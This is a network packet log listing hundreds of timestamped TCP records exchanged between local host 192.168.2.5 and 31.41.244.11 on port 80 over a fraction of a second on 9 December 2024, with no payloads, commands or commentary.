Dec 9, 2024 15:30:17.288527012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.289884090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.289897919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.289942026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.291199923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.291254044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.291255951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.291297913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.292650938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.292665005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.292701006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.294262886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.294281006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.294332027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.294352055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.295625925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.295639992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.295653105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.295679092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.295692921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.297135115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.297148943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.297185898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.298696995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.298711061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.298764944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.300360918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.300374031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.300435066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.302293062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.302311897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.302323103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.302360058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.302386999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.303615093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.303636074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.303693056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.304977894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.304991961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.305051088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.306678057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.306690931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.306745052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.308695078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.308707952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.308758974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.308780909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.309981108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.310005903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.310038090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.310059071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.428952932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.429111004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.429128885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.429177999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.429845095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.429913044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.430536985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.430592060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.431224108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.431238890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.431278944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.431297064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.432488918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.432548046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.433150053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.433217049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.433835030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.433849096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.433887959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.433902025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.435218096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.435231924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.435282946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.435298920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.436647892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.436664104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.436707973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.436750889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.437939882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.437953949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.438020945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.439249992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.439285040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.439306021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.439944029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.440000057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.440737963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.440752029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.440804958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.440860033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.442157030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.442171097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.442251921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.442251921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.443428993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.443444014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.443492889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.444839954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.444859982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.444900036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.444926977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.446125984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.446146011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.446182966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.446201086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.447489977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.447505951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.447547913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.447562933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.448977947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.448997021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.449034929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.449057102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.450424910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.450440884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.450479984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.450500011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.452370882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.452385902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.452421904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.452447891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.453998089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.454013109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.454024076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.454159975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.455256939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.455271006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.455344915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.456646919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.456667900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.456698895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.456729889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.458173990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.458189964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.458235025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.459464073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.459477901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.459489107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.459520102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.459536076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.461189985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.461225986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.461266041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.462492943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.462507010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.462548018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.463924885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.463937998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.463982105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.465466022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.465480089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.465519905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.466936111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.466953993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.466965914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.466995955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.467008114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.468873978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.468894005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.468929052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.468945980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.470026016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.470043898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.470088959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.470103979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.471447945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.471463919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.471507072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.473054886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.473073006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.473120928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.474415064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.474431038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.474443913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.474471092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.474493027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.475950003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.475974083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.476006031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.476028919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.477401018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.477417946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.477461100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.479082108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.479105949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.479149103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.480520964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.480540037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.480580091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.481945992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.481982946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.481995106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.482028961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.483377934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.483417034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.483431101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.483462095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.484997034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.485013008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.485052109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.486418962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.486435890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.486474037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.487972021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.487988949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.487999916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.488025904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.488039017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.489460945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.489478111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.489517927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.490899086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.490916014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.490952969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.492598057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.492636919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.492674112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.492701054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.493910074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.493927002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.493940115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.493966103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.493978024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.495443106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.495457888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.495500088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.496903896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.496920109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.496961117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.498460054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.498478889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.498513937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.498543024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.499989033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.500009060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.500093937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.620991945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.621139050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.621310949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.621352911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.621994019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.622047901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.622694016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.622744083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.623419046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.623452902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.623476982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.623507023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.624862909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.624919891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.625495911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.625545979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.626269102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.626281977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.626318932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.626338959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.627562046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.627573967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.627624035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.627624035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.628973961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.629029036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.630392075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.630407095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.630420923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.630448103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.630462885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.631856918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.631870031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.631911993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.631927967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.634870052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.634881973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.634921074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.634936094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.636260033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.636272907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.636308908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.637666941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.637712955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.637713909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.637761116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.639426947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.639477015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.641278028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.641289949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.641335964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.642668009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.642680883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.642712116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.642741919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.644135952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.644172907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.644181967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.644207001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.645239115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.645267963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.645291090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.645294905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.645318031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.645334959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.646712065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.646725893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.646759033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.648488045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.648509026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.648552895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.648571968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.650094986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.650109053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.650166035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.651680946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.651695967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.651711941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.651735067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.651773930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.653156996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.653171062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.653217077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.654433012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.654465914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.654508114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.654532909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.655786037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.655798912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.655858994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.657279015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.657313108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.657332897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.657361984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.658741951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.658756018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.658797979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.660216093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.660278082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.661962986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.661983013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.661993980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.662035942 CET	49866	80	192.168.2.5	31.41.244.11
